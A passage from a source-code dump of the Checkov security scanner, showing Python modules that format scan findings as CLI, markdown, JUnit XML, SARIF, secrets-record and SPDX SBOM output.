summary[\"skipped\"],\n                summary[\"parsing_errors\"],\n            )\n        else:\n            if self.check_type == CheckType.SCA_PACKAGE or self.check_type.lower().startswith(CheckType.SAST):\n                message = f\"\\nFailed checks: {summary['failed']}, Skipped checks: {summary['skipped']}\\n\\n\"\n            else:\n                message = f\"\\nPassed checks: {summary['passed']}, Failed checks: {summary['failed']}, Skipped checks: {summary['skipped']}\\n\\n\"\n        if summary_position == 'top':\n            output_data += colored(message, \"cyan\")\n        # output for vulnerabilities is different\n        if self.check_type in (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE):\n            if self.failed_checks or self.skipped_checks:\n                create_cli_output = create_sca_package_cli_output_v2\n                output_data += create_cli_output(self.check_type == CheckType.SCA_PACKAGE, self.failed_checks,\n                                                 self.skipped_checks)\n\n        elif self.check_type == CheckType.POLICY_3D:\n            if self.failed_checks or self.skipped_checks:\n                output_data += create_3d_policy_cli_output(self.failed_checks, self.skipped_checks)  # type:ignore[arg-type]\n\n        else:\n            if self.check_type.lower().startswith(CheckType.SAST):\n                output_data += colored(f\"Source code files scanned: {summary.get(SOURCE_FILES_COUNT, -1)}, \"\n                                       f\"Policies found: {summary.get(POLICY_COUNT, -1)}\\n\\n\", \"cyan\")\n                policies_errors: str = str(summary.get(POLICIES_ERRORS, \"\"))\n                if policies_errors:\n                    output_data += colored(f\"Policy parsing failures ({summary.get(POLICIES_ERRORS_COUNT)}):\\n{policies_errors}\\n\\n\", \"red\")\n            if not is_quiet:\n                for record in self.passed_checks:\n                    output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids)\n            for record in self.failed_checks:\n                output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids)\n            if not is_quiet:\n                for record in self.skipped_checks:\n                    output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids)\n\n        if not is_quiet:\n            for file in self.parsing_errors:\n                output_data += colored(f\"Error parsing file {file}\\n\", \"red\")\n\n        if created_baseline_path:\n            output_data += colored(\n                f\"Created a checkov baseline file at {created_baseline_path}\",\n                \"blue\",\n            )\n        if baseline:\n            output_data += colored(\n                f\"Baseline analysis report using {baseline.path} - only new failed checks with respect to the baseline are reported\",\n                \"blue\",\n            )\n        if summary_position == 'bottom':\n            output_data += colored(message, \"cyan\")\n        return output_data\n\n    @staticmethod\n    def _print_parsing_error_console(file: str) -> None:\n        print(colored(f\"Error parsing file {file}\", \"red\"))\n\n    @staticmethod\n    def get_junit_xml_string(ts: list[TestSuite]) -> str:\n        return to_xml_report_string(ts)\n\n    def print_failed_github_md(self, use_bc_ids: bool = False) -> str:\n        result = []\n        for record in self.failed_checks:\n            result.append(\n                [\n                    record.get_output_id(use_bc_ids),\n                    record.check_name,\n                    record.resource,\n                    f\"[Link]({record.guideline})\",\n                    record.file_path,\n                ]\n            )\n        if result:\n            summary = self.get_summary()\n            if self.parsing_errors:\n                message = \"Passed Checks: {}, Failed Checks: {}, Skipped Checks: {}, Parsing Errors: {}\\n\\n\".format(\n                    summary[\"passed\"],\n                    summary[\"failed\"],\n                    summary[\"skipped\"],\n                    summary[\"parsing_errors\"],\n                )\n            else:\n                message = f\"```\\nPassed Checks: {summary['passed']}, Failed Checks: {summary['failed']}, Skipped Checks: {summary['skipped']}\\n```\\n\\n\"\n\n            table = tabulate(\n                result,\n                headers=[\"Check ID\", \"Check Name\", \"Resource\", \"Guideline\", \"File\"],\n                tablefmt=\"github\",\n            )\n            output_data = f\"### {self.check_type.replace('_', ' ').title()} Scan Results:\\n\\n{message}{table}\\n\\n---\\n\"\n            return output_data\n        else:\n            return \"\\n\\n---\\n\\n\"\n\n    def get_test_suite(self, properties: Optional[Dict[str, Any]] = None, use_bc_ids: bool = False) -> TestSuite:\n        \"\"\"Creates a test suite for the JUnit XML report\"\"\"\n\n        test_cases = []\n\n        records = self.passed_checks + self.failed_checks + self.skipped_checks\n        for record in records:\n            severity = BcSeverities.NONE\n            if record.severity:\n                severity = record.severity.name\n\n            if self.check_type == CheckType.SCA_PACKAGE:\n                if record.check_name != SCA_PACKAGE_SCAN_CHECK_NAME:\n                    continue\n                if not record.vulnerability_details:\n                    # this shouldn't normally happen\n                    logging.warning(f\"Vulnerability check without details {record.file_path}\")\n                    continue\n\n                check_id = record.vulnerability_details[\"id\"]\n                test_name_detail = f\"{record.vulnerability_details['package_name']}: {record.vulnerability_details['package_version']}\"\n                class_name = f\"{record.file_path}.{record.vulnerability_details['package_name']}\"\n            else:\n                check_id = record.bc_check_id if use_bc_ids else record.check_id\n                test_name_detail = record.check_name\n                class_name = f\"{record.file_path}.{record.resource}\"\n\n            test_name = f\"[{severity}][{check_id}] {test_name_detail}\"\n\n            test_case = TestCase(name=test_name, file=record.file_path, classname=class_name)\n            if record.check_result[\"result\"] == CheckResult.FAILED:\n                test_case.add_failure_info(\n                    message=record.check_name,\n                    output=self._create_test_case_failure_output(record)\n                )\n            if record.check_result[\"result\"] == CheckResult.SKIPPED:\n                if self.check_type == CheckType.SCA_PACKAGE:\n                    test_case.add_skipped_info(f\"{check_id} skipped for {test_name_detail}\")\n                else:\n                    test_case.add_skipped_info(record.check_result.get(\"suppress_comment\", \"\"))\n\n            test_cases.append(test_case)\n\n        test_suite = TestSuite(name=f\"{self.check_type} scan\", test_cases=test_cases, properties=properties)\n        return test_suite\n\n    @staticmethod\n    def create_test_suite_properties_block(config: argparse.Namespace) -> Dict[str, Any]:\n        \"\"\"Creates a dictionary without 'None' values and sensitive data for the JUnit XML properties block\"\"\"\n\n        # List of sensitive properties that should be excluded from outputs\n        sensitive_properties = ['bc_api_key']\n\n        properties = {k: v for k, v in config.__dict__.items()\n                      if v is not None and k not in sensitive_properties}\n\n        return properties\n\n    def _create_test_case_failure_output(self, record: Record) -> str:\n        \"\"\"Creates the failure output for a JUnit XML test case\n\n        IaC example:\n            Resource: azurerm_network_security_rule.fail_rdp\n            File: /main.tf: 71-83\n            Guideline: https://docs.bridgecrew.io/docs/bc_azr_networking_2\n\n                    71 | resource \"azurerm_network_security_rule\" \"fail_rdp\" {\n                    72 |   resource_group_name = azurerm_resource_group.example.name\n                    73 |   network_security_group_name=azurerm_network_security_group.example_rdp.name\n                    74 |   name                       = \"fail_security_rule\"\n                    75 |   direction                  = \"Inbound\"\n                    76 |   access                     = \"Allow\"\n                    77 |   protocol                   = \"TCP\"\n                    78 |   source_port_range          = \"*\"\n                    79 |   destination_port_range     = \"3389\"\n                    80 |   source_address_prefix      = \"*\"\n                    81 |   destination_address_prefix = \"*\"\n                    82 |   priority = 120\n                    83 | }\n\n        SCA example:\n            Description: Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover.\n            Link: https://nvd.nist.gov/vuln/detail/CVE-2019-19844\n            Published Date: 2019-12-18T20:15:00+01:00\n            Base Score: 9.8\n            Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n            Risk Factors: ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix']\n\n            Resource: requirements.txt.django\n            File: /requirements.txt: 0-0\n\n                    0 | django: 1.2\n        \"\"\"\n\n        failure_output = []\n\n        if self.check_type == CheckType.SCA_PACKAGE:\n            if record.vulnerability_details:\n                lowest_fixed_version = record.vulnerability_details.get('lowest_fixed_version')\n                if lowest_fixed_version is not None:\n                    fix = lowest_fixed_version\n                else:\n                    fixlist = record.vulnerability_details.get('fixed_versions')\n                    if fixlist is not None:\n                        fix = fixlist\n\n                failure_output.extend(\n                    [\n                        \"\",\n                        f\"Description: {record.description}\",\n                        f\"Link: {record.vulnerability_details.get('link')}\",\n                        f\"Published Date: {record.vulnerability_details.get('published_date')}\",\n                        f\"Base Score: {record.vulnerability_details.get('cvss')}\",\n                        f\"Vector: {record.vulnerability_details.get('vector')}\",\n                        f\"Risk Factors: {record.vulnerability_details.get('risk_factors')}\",\n                        \"Fix Details:\",\n                        f\"  Status: {record.vulnerability_details.get('status')}\",\n                        f\"  Fixed Version: {fix}\",\n                    ]\n                )\n            else:\n                # this shouldn't normally happen\n                logging.warning(f\"Vulnerability check without details {record.file_path}\")\n\n        failure_output.extend(\n            [\n                \"\",\n                f\"Resource: {record.resource}\",\n            ]\n        )\n\n        if record.file_path:\n            file_line = f\"File: {record.file_path}\"\n            if record.file_line_range:\n                file_line += f\": {record.file_line_range[0]}-{record.file_line_range[1]}\"\n            failure_output.append(file_line)\n\n        if self.check_type != CheckType.SCA_PACKAGE:\n            failure_output.append(f\"Guideline: {record.guideline}\")\n\n        if record.code_block:\n            failure_output.append(\"\")\n            failure_output.append(record._code_line_string(code_block=record.code_block, colorized=False))\n\n        return \"\\n\".join(failure_output)\n\n    def print_json(self) -> None:\n        print(self.get_json())\n\n    @staticmethod\n    def enrich_plan_report(\n            report: \"Report\", enriched_resources: Dict[str, Dict[str, Any]]\n    ) -> \"Report\":\n        # This enriches reports with the appropriate filepath, line numbers, and codeblock\n        for record in report.failed_checks:\n            resource_raw_id = Report.get_plan_resource_raw_id(record.resource)\n            enriched_resource = enriched_resources.get(resource_raw_id)\n            if enriched_resource:\n                record.file_path = enriched_resource[\"scanned_file\"]\n                record.file_line_range = enriched_resource[\"entity_lines_range\"]\n                record.code_block = enriched_resource[\"entity_code_lines\"]\n        return report\n\n    @staticmethod\n    def handle_skipped_checks(\n            report: \"Report\", enriched_resources: Dict[str, Dict[str, Any]]\n    ) -> \"Report\":\n        module_address_len = len(\"module.\")\n        skip_records = []\n        for record in report.failed_checks:\n            resource_raw_id = Report.get_plan_resource_raw_id(record.resource)\n            resource_skips = enriched_resources.get(resource_raw_id, {}).get(\"skipped_checks\", [])\n            for skip in resource_skips:\n                if record.check_id in skip[\"id\"]:\n                    # Mark for removal and add it as a skipped record. It is not safe to remove\n                    # the record from failed_checks immediately because we're iterating over it\n                    skip_records.append(record)\n                    record.check_result[\"result\"] = CheckResult.SKIPPED\n                    record.check_result[\"suppress_comment\"] = skip[\"suppress_comment\"]\n                    report.add_record(record)\n\n            if record.resource_address and record.resource_address.startswith(\"module.\"):\n                module_path = record.resource_address[module_address_len:record.resource_address.index('.', module_address_len + 1)]\n                # For module with for_each or count, the module path will be module.module_name[(.*)]. We can\n                # ignore the index and the for_each value and just use the module name as it's not possible to\n                # skip checks for a specific instance of a module\n                module_path = module_path.split('[')[0]\n                module_enrichments = enriched_resources.get(module_path, {})\n                for module_skip in module_enrichments.get(\"skipped_checks\", []):\n                    if record.check_id in module_skip[\"id\"]:\n                        skip_records.append(record)\n                        record.check_result[\"result\"] = CheckResult.SKIPPED\n                        record.check_result[\"suppress_comment\"] = module_skip[\"suppress_comment\"]\n                        report.add_record(record)\n\n        for record in skip_records:\n            if record in report.failed_checks:\n                report.failed_checks.remove(record)\n        return report\n\n    @staticmethod\n    def get_plan_resource_raw_id(resource_id: str) -> str:\n        \"\"\"\n        return the resource raw id without the modules and the indexes\n        example: from resource_id='module.module_name.type.name[1]' return 'type.name'\n        example: from resource_id='type.name['some.long.address']' return 'type.name'\n        example: from resource_id='module.module_name['some.long.address']'.type.name return 'type.name'\n        example: from resource_id='module.module_name['some.long.address']'.type.name[1] return 'type.name'\n        \"\"\"\n        if '[' in resource_id:\n            # remove any information inside brackets\n            resource_id = resource_id[:resource_id.index('[')] + resource_id[resource_id.index(']') + 1:]\n        # take last two elements\n        resource_raw_id = \".\".join(resource_id.split(\".\")[-2:])\n        if '[' in resource_raw_id:\n            # cut string at bracket start\n            resource_raw_id = resource_raw_id[:resource_raw_id.index('[')]\n        return resource_raw_id\n\n    @classmethod\n    def from_reduced_json(cls, json_report: dict[str, Any], check_type: str) -> Report:\n        report = Report(check_type)\n        report.image_cached_results = json_report['image_cached_results']\n\n        all_json_records = json_report[\"checks\"][\"passed_checks\"] + \\\n            json_report[\"checks\"][\"failed_checks\"] + \\\n            json_report[\"checks\"][\"skipped_checks\"]\n\n        for json_record in all_json_records:\n            report.add_record(\n                Record.from_reduced_json(json_record)\n            )\n\n        return report\n\n\ndef merge_reports(base_report: Report, report_to_merge: Report) -> None:\n    base_report.passed_checks.extend(report_to_merge.passed_checks)\n    base_report.failed_checks.extend(report_to_merge.failed_checks)\n    base_report.skipped_checks.extend(report_to_merge.skipped_checks)\n    base_report.parsing_errors.extend(report_to_merge.parsing_errors)\n    base_report.image_cached_results.extend(report_to_merge.image_cached_results)\n    base_report.resources.update(report_to_merge.resources)\n    base_report.extra_resources.update(report_to_merge.extra_resources)\n\n\ndef remove_duplicate_results(report: Report) -> Report:\n    def dedupe_records(origin_records: list[Record]) -> list[Record]:\n        unique_records: Dict[str, Record] = {}\n        for record in origin_records:\n            record_hash = record.get_unique_string()\n            unique_records[record_hash] = record\n\n        return list(unique_records.values())\n\n    report.passed_checks = dedupe_records(report.passed_checks)\n    report.failed_checks = dedupe_records(report.failed_checks)\n    return report\n"
  },
  {
    "path": "checkov/common/output/sarif.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport json\nfrom typing import TYPE_CHECKING, Any\nfrom urllib.parse import quote\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES\nfrom checkov.common.util.http_utils import valid_url\nfrom checkov.version import version\n\nif TYPE_CHECKING:\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n\nSEVERITY_TO_SARIF_LEVEL = {\n    \"critical\": \"error\",\n    \"high\": \"error\",\n    \"medium\": \"warning\",\n    \"low\": \"note\",\n    \"none\": \"none\",\n}\n\n\nSEVERITY_TO_SCORE = {\n    \"critical\": \"10.0\",\n    \"high\": \"8.9\",\n    \"medium\": \"6.9\",\n    \"low\": \"3.9\",\n    \"none\": \"0.0\",\n}\n\n\nclass Sarif:\n    def __init__(self, reports: list[Report], tool: str | None) -> None:\n        self.reports = reports\n        self.rule_index_map: \"dict[str, int]\" = {}\n        self.tool = tool if tool else \"Bridgecrew\"\n\n        self.json = self.create_json()\n\n    def create_json(self) -> dict[str, Any]:\n        return {\n            \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n            \"version\": \"2.1.0\",\n            \"runs\": self._create_runs(),\n        }\n\n    def _create_runs(self) -> list[dict[str, Any]]:\n        information_uri = \"https://docs.bridgecrew.io\" if self.tool.lower() == \"bridgecrew\" else \"https://checkov.io\"\n        rules = self._create_rules()  # needs to be invoked before _create_results()\n        results = self._create_results()\n\n        return [\n            {\n                \"tool\": {\n                    \"driver\": {\n                        \"name\": self.tool,\n                        \"version\": version,\n                        \"informationUri\": information_uri,\n                        \"rules\": rules,\n                        \"organization\": \"bridgecrew\",\n                    }\n                },\n                \"results\": results,\n            }\n        ]\n\n    def _create_rules(self) -> list[dict[str, Any]]:\n        rule_idx = 0\n        rules: \"list[dict[str, Any]]\" = []\n\n        for report in self.reports:\n            if report.check_type in SCA_CHECKTYPES:\n                for record in itertools.chain(report.failed_checks, report.skipped_checks):\n                    rule = None\n                    if record.check_id.startswith(\"BC_LIC\"):\n                        rule = self._create_license_rule(check_type=report.check_type, record=record)\n                    elif record.check_id.startswith((\"BC_VUL\", \"CKV_CVE\")):\n                        rule = self._create_cve_rule(check_type=report.check_type, record=record)\n\n                    if rule and rule[\"id\"] not in self.rule_index_map:\n                        self.rule_index_map[rule[\"id\"]] = rule_idx\n                        rules.append(rule)\n                        rule_idx += 1\n            else:\n                for record in itertools.chain(report.failed_checks, report.skipped_checks):\n                    if record.check_id not in self.rule_index_map:\n                        rule = self._create_iac_rule(check_type=report.check_type, record=record)\n                        self.rule_index_map[rule[\"id\"]] = rule_idx\n                        rules.append(rule)\n                        rule_idx += 1\n\n        return rules\n\n    def _create_iac_rule(self, check_type: str, record: Record) -> dict[str, Any]:\n        rule = {\n            \"id\": self._create_rule_id(check_type=check_type, record=record),\n            \"name\": record.short_description or record.check_name,\n            \"shortDescription\": {\n                \"text\": record.short_description or record.check_name,\n            },\n            \"fullDescription\": {\n                \"text\": record.description or record.check_name,\n            },\n            \"help\": {\n                \"text\": f\"{record.check_name}\\nResource: {record.resource}\",\n            },\n            \"defaultConfiguration\": {\"level\": \"error\"},\n        }\n\n        # Adding 'properties' dictionary only if 'record.severity' exists\n        if record.severity:\n            rule[\"properties\"] = {\n                \"security-severity\": SEVERITY_TO_SCORE.get(record.severity.name.lower(), \"0.0\"),\n            }\n\n        help_uri = record.guideline\n        if valid_url(help_uri):\n            rule[\"helpUri\"] = help_uri\n\n        return rule\n\n    def _create_cve_rule(self, check_type: str, record: Record) -> dict[str, Any] | None:\n        details = record.vulnerability_details\n        if not details:\n            # this shouldn't happen\n            return None\n\n        rule = {\n            \"id\": self._create_rule_id(check_type=check_type, record=record),\n            \"name\": record.short_description or record.check_name,\n            \"shortDescription\": {\n                \"text\": record.short_description or record.check_name,\n            },\n            \"fullDescription\": {\n                \"text\": record.description or record.check_name,\n            },\n            \"help\": {\n                \"text\": f\"{record.check_name}\\nResource: {record.resource}\\nStatus: {details.get('status')}\",\n            },\n            \"defaultConfiguration\": {\"level\": \"error\"},\n        }\n\n        # Add properties dictionary with security-severity\n        cvss = details.get(\"cvss\")\n        if cvss:\n            # use CVSS, if exists\n            rule[\"properties\"] = {\n                \"security-severity\": str(cvss),\n            }\n        elif record.severity:\n            # otherwise severity, if exists\n            rule[\"properties\"] = {\n                \"security-severity\": SEVERITY_TO_SCORE.get(record.severity.name.lower(), \"0.0\"),\n            }\n\n        help_uri = details.get(\"link\")\n        if valid_url(help_uri):\n            rule[\"helpUri\"] = help_uri\n\n        return rule\n\n    def _create_license_rule(self, check_type: str, record: Record) -> dict[str, Any] | None:\n        details = record.vulnerability_details\n        if not details:\n            # this shouldn't happen\n            return None\n\n        rule = {\n            \"id\": self._create_rule_id(check_type=check_type, record=record),\n            \"name\": record.short_description or record.check_name,\n            \"shortDescription\": {\n                \"text\": record.short_description or record.check_name,\n            },\n            \"fullDescription\": {\n                \"text\": f\"Package {details['package_name']}@{details['package_version']} has license {details['license']}\",\n            },\n            \"help\": {\n                \"text\": f\"{record.check_name}\\nResource: {record.resource}\",\n            },\n            \"defaultConfiguration\": {\"level\": \"error\"},\n        }\n\n        # Adding 'properties' dictionary only if 'record.severity' exists\n        if record.severity:\n            rule[\"properties\"] = {\n                \"security-severity\": SEVERITY_TO_SCORE.get(record.severity.name.lower(), \"0.0\"),\n            }\n\n        help_uri = record.guideline\n        if valid_url(help_uri):\n            rule[\"helpUri\"] = help_uri\n\n        return rule\n\n    def _create_results(self) -> list[dict[str, Any]]:\n        results: \"list[dict[str, Any]]\" = []\n\n        for report in self.reports:\n            for record in itertools.chain(report.failed_checks, report.skipped_checks):\n                level = \"warning\"\n                if record.severity:\n                    level = SEVERITY_TO_SARIF_LEVEL.get(record.severity.name.lower(), \"none\")\n                elif record.check_result.get(\"result\") == CheckResult.FAILED:\n                    level = \"error\"\n\n                rule_id = self._create_rule_id(check_type=report.check_type, record=record)\n                if not rule_id or rule_id not in self.rule_index_map:\n                    # can happen if data is missing\n                    continue\n\n                result = {\n                    \"ruleId\": rule_id,\n                    \"ruleIndex\": self.rule_index_map[rule_id],\n                    \"level\": level,\n                    \"attachments\": [{\"description\": detail} for detail in record.details],\n                    \"message\": {\n                        \"text\": record.short_description or record.check_name,\n                    },\n                    \"locations\": [\n                        {\n                            \"physicalLocation\": {\n                                \"artifactLocation\": {\"uri\": quote(record.repo_file_path.lstrip(\"/\"))},\n                                \"region\": {\n                                    \"startLine\": int(record.file_line_range[0]) or 1,\n                                    \"endLine\": int(record.file_line_range[1]) or 1,\n                                    \"snippet\": {\"text\": \"\".join(line for _, line in record.code_block)},\n                                },\n                            }\n                        }\n                    ],\n                }\n\n                if record.check_result.get(\"result\") == CheckResult.SKIPPED:\n                    # sca_package suppression can only be enabled via flag\n                    # other runners only report in source suppression\n                    kind = \"external\" if record.vulnerability_details else \"inSource\"\n                    justification = record.check_result.get(\"suppress_comment\")\n                    if justification is None:\n                        justification = \"No comment provided\"\n\n                    result[\"suppressions\"] = [\n                        {\n                            \"kind\": kind,\n                            \"justification\": justification,\n                        }\n                    ]\n\n                results.append(result)\n\n        return results\n\n    def _create_rule_id(self, check_type: str, record: Record) -> str | None:\n        if check_type in SCA_CHECKTYPES:\n            details = record.vulnerability_details\n            if not details:\n                # this shouldn't happen\n                return None\n\n            if record.check_id.startswith(\"BC_LIC\"):\n                return f\"{details['license']}_{details['package_name']}@{details['package_version']}\".replace(\" \", \"_\")\n            elif record.check_id.startswith((\"BC_VUL\", \"CKV_CVE\")):\n                return f\"{details['id']}_{details['package_name']}@{details['package_version']}\".replace(\" \", \"_\")\n        else:\n            return record.check_id\n\n        return None\n\n    def write_sarif_output(self) -> None:\n        try:\n            with open(\"results.sarif\", \"w\") as f:\n                f.write(json.dumps(self.json))\n                print(\"\\nWrote output in SARIF format to the file 'results.sarif'\")\n        except EnvironmentError as e:\n            print(\"\\nAn error occurred while writing SARIF results to file: results.sarif\")\n            print(f\"More details: \\n {e}\")\n"
  },
  {
    "path": "checkov/common/output/secrets_record.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Optional, List, Tuple, Dict, Any\n\nfrom termcolor import colored\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.secrets.consts import ValidationStatus, GIT_HISTORY_NOT_BEEN_REMOVED\n\nfrom checkov.common.bridgecrew.severities import Severity\n\nfrom checkov.common.output.record import Record\nfrom checkov.common.typing import _CheckResult\n\nCOMMIT_ADDED_STR = 'Commit Added'\nCOMMIT_REMOVED_STR = 'Commit Removed'\n\nWARNING_SIGN_UNICODE = '\\u26a0'\nTEXT_BY_SECRET_VALIDATION_STATUS = {\n    ValidationStatus.VALID.value: colored(f'\\t{WARNING_SIGN_UNICODE} This secret has been validated'\n                                          f' and should be prioritized', \"red\"),\n    ValidationStatus.INVALID.value: colored('\\tThis is not a valid secret and can be de-prioritized', \"white\"),\n    ValidationStatus.UNKNOWN.value: '\\tWe were not able to validate this secret',\n    ValidationStatus.UNAVAILABLE.value: ''\n}\n\n\nclass SecretsRecord(Record):\n    def __init__(self,\n                 check_id: str,\n                 check_name: str,\n                 check_result: _CheckResult,\n                 code_block: List[Tuple[int, str]],\n                 file_path: str,\n                 file_line_range: List[int],\n                 resource: str,\n                 evaluations: Optional[Dict[str, Any]],\n                 check_class: str,\n                 file_abs_path: str,\n                 entity_tags: Optional[Dict[str, str]] = None,\n                 caller_file_path: Optional[str] = None,\n                 caller_file_line_range: Optional[Tuple[int, int]] = None,\n                 bc_check_id: Optional[str] = None,\n                 resource_address: Optional[str] = None,\n                 severity: Optional[Severity] = None,\n                 bc_category: Optional[str] = None,\n                 benchmarks: dict[str, list[str]] | None = None,\n                 description: Optional[str] = None,\n                 short_description: Optional[str] = None,\n                 vulnerability_details: Optional[Dict[str, Any]] = None,\n                 connected_node: Optional[Dict[str, Any]] = None,\n                 details: Optional[List[str]] = None,\n                 check_len: int | None = None,\n                 definition_context_file_path: Optional[str] = None,\n                 validation_status: Optional[str] = None,\n                 added_commit_hash: Optional[str] = None,\n                 removed_commit_hash: Optional[str] = None,\n                 added_by: Optional[str] = None,\n                 removed_date: Optional[str] = None,\n                 added_date: Optional[str] = None\n                 ):\n        super().__init__(check_id=check_id,\n                         check_name=check_name,\n                         check_result=check_result,\n                         code_block=code_block,\n                         file_path=file_path,\n                         file_line_range=file_line_range,\n                         resource=resource,\n                         evaluations=evaluations,\n                         check_class=check_class,\n                         file_abs_path=file_abs_path,\n                         entity_tags=entity_tags,\n                         bc_check_id=bc_check_id,\n                         severity=severity,\n                         details=details,\n                         caller_file_path=caller_file_path,\n                         caller_file_line_range=caller_file_line_range,\n                         resource_address=resource_address,\n                         bc_category=bc_category,\n                         benchmarks=benchmarks,\n                         description=description,\n                         short_description=short_description,\n                         vulnerability_details=vulnerability_details,\n                         connected_node=connected_node,\n                         check_len=check_len,\n                         definition_context_file_path=definition_context_file_path\n                         )\n        self.validation_status = validation_status\n        self.added_commit_hash = added_commit_hash\n        self.removed_commit_hash = removed_commit_hash\n        self.added_by = added_by\n        self.removed_date = removed_date\n        self.added_date = added_date\n\n    def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str:\n        processed_record = super().to_string(compact=compact, use_bc_ids=use_bc_ids)\n        validation_status_message = self._get_secret_validation_status_message()\n        if validation_status_message and self.check_result[\"result\"] == CheckResult.FAILED and os.getenv(\"CKV_VALIDATE_SECRETS\"):\n            # if needed insert validation status message\n            splitted_record = processed_record.split(\"\\n\")\n            splitted_record.insert(2, validation_status_message)\n            processed_record = \"\\n\".join(splitted_record)\n\n        processed_record = self._add_commit_details(processed_record)\n        return processed_record\n\n    def _add_commit_details(self, processed_record: str) -> str:\n        if not self.added_commit_hash and not self.is_empty_removed_commit():\n            return processed_record\n        splitted_record = processed_record.split(\"\\n\")\n        file_idx = 0\n        file_line = ''\n        for idx, line in enumerate(splitted_record):\n            if line.__contains__('File:'):\n                file_idx = idx\n                file_line = line\n                break\n        added = False\n        if self.added_commit_hash:\n            file_line = file_line + f'; {COMMIT_ADDED_STR}: {self.added_commit_hash}'\n            added = True\n        if self.removed_commit_hash:\n            file_line = file_line + f'; {COMMIT_REMOVED_STR}: {self.removed_commit_hash}'\n            added = True\n        if added:\n            splitted_record[file_idx] = file_line\n            processed_record = \"\\n\".join(splitted_record) + '\\n'\n        return processed_record\n\n    def is_empty_removed_commit(self) -> bool:\n        return (not self.removed_commit_hash) or (self.removed_commit_hash == GIT_HISTORY_NOT_BEEN_REMOVED)\n\n    def _get_secret_validation_status_message(self) -> str:\n        message = None\n        if self.validation_status:\n            message = TEXT_BY_SECRET_VALIDATION_STATUS.get(self.validation_status)\n\n            if not message and self.validation_status != ValidationStatus.UNAVAILABLE.value:\n                logging.debug(f'Got empty message for secret validation status = {self.validation_status}')\n\n        return message or ''\n"
  },
  {
    "path": "checkov/common/output/spdx.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nfrom datetime import datetime, timezone\nfrom io import StringIO\nfrom typing import TYPE_CHECKING\nfrom uuid import uuid4\n\nfrom license_expression import get_spdx_licensing\nfrom spdx_tools.spdx.model.actor import Actor, ActorType\nfrom spdx_tools.spdx.model.document import Document, CreationInfo\nfrom spdx_tools.spdx.model.package import Package\nfrom spdx_tools.spdx.model.spdx_none import SpdxNone\nfrom spdx_tools.spdx.writer.tagvalue.tagvalue_writer import write_document\n\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME, Record\nfrom checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES\nfrom checkov.common.output.report import Report\nfrom checkov.version import version\n\nif TYPE_CHECKING:\n    from boolean import Expression as LicenseExpression\n    from spdx_tools.spdx.model import SpdxNoAssertion\n\n\nDOCUMENT_NAME = \"checkov-sbom\"\nSPDXREF = \"SPDXRef-\"\n\n\nclass SPDX:\n    def __init__(self, repo_id: str | None, reports: list[Report]):\n        self.repo_id = f\"{repo_id}/\" if repo_id else \"\"\n        self.reports = reports\n\n        self.document = self.create_document()\n        self.packages: list[Package] = []\n\n        # each entry looks like '{file_name}#{package_name}#{package_version}'\n        self._added_packages_cache: set[str] = set()\n\n    def create_document(self) -> Document:\n        creation_info = CreationInfo(\n            spdx_version=\"SPDX-2.3\",\n            spdx_id=\"SPDXRef-DOCUMENT\",\n            name=DOCUMENT_NAME,\n            data_license=\"CC0-1.0\",\n            document_namespace=f\"https://spdx.org/spdxdocs/{DOCUMENT_NAME}-{version}-{uuid4()}\",\n            creators=[\n                Actor(ActorType.TOOL, \"checkov\"),\n                Actor(ActorType.ORGANIZATION, \"bridgecrew\", \"meet@bridgecrew.io\"),\n            ],\n            created=datetime.now(timezone.utc),\n        )\n        return Document(creation_info=creation_info)\n\n    def get_tag_value_output(self) -> str:\n        output = StringIO()\n\n        self.add_packages_to_doc()\n        write_document(document=self.document, text_output=output)\n\n        return output.getvalue()\n\n    def validate_licenses(self, package: Package, license_: str) -> None:\n        if license_ and license_ not in [\"Unknown license\", \"NOT_FOUND\", \"Unknown\"]:\n            split_licenses = license_.split(\",\")\n            licenses: list[LicenseExpression | SpdxNoAssertion | SpdxNone] = []\n\n            for lic in split_licenses:\n                lic = lic.strip('\"')\n                try:\n                    license_expression = get_spdx_licensing().parse(lic)\n                    if license_expression is not None:\n                        licenses.append(license_expression)\n                except Exception as e:\n                    logging.info(f\"error occurred when trying to parse the license:{split_licenses} due to error {e}\")\n            package.license_info_from_files = licenses\n\n    def create_package(self, check: Record | ExtraResource) -> Package:\n        package_data = check.vulnerability_details\n        if not package_data:\n            # this shouldn't happen\n            logging.error(f\"Check {check.resource} doesn't have 'vulnerability_details' set\")\n            return Package(name=\"unknown\", spdx_id=f\"{SPDXREF}unknown\", download_location=SpdxNone())\n\n        package_name = package_data.get(\"package_name\")\n        if not package_name:\n            # this shouldn't happen\n            logging.error(f\"Package {package_data} doesn't have 'package_name' set\")\n            return Package(name=\"unknown\", spdx_id=f\"{SPDXREF}unknown\", download_location=SpdxNone())\n\n        package = Package(\n            name=package_name,\n            spdx_id=f\"{SPDXREF}{package_name}\",\n            version=package_data[\"package_version\"],\n            download_location=SpdxNone(),\n            file_name=check.file_path,\n        )\n        license_ = package_data.get(\"licenses\", \"\")\n        self.validate_licenses(package=package, license_=license_)\n\n        return package\n\n    def add_packages_to_doc(self) -> None:\n        for report in self.reports:\n            for check in itertools.chain(report.passed_checks, report.skipped_checks):\n                if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME:\n                    continue\n                package = self.create_package(check)\n                self.add_new_package_to_list(package)\n\n            for check in report.failed_checks:\n                if report.check_type in 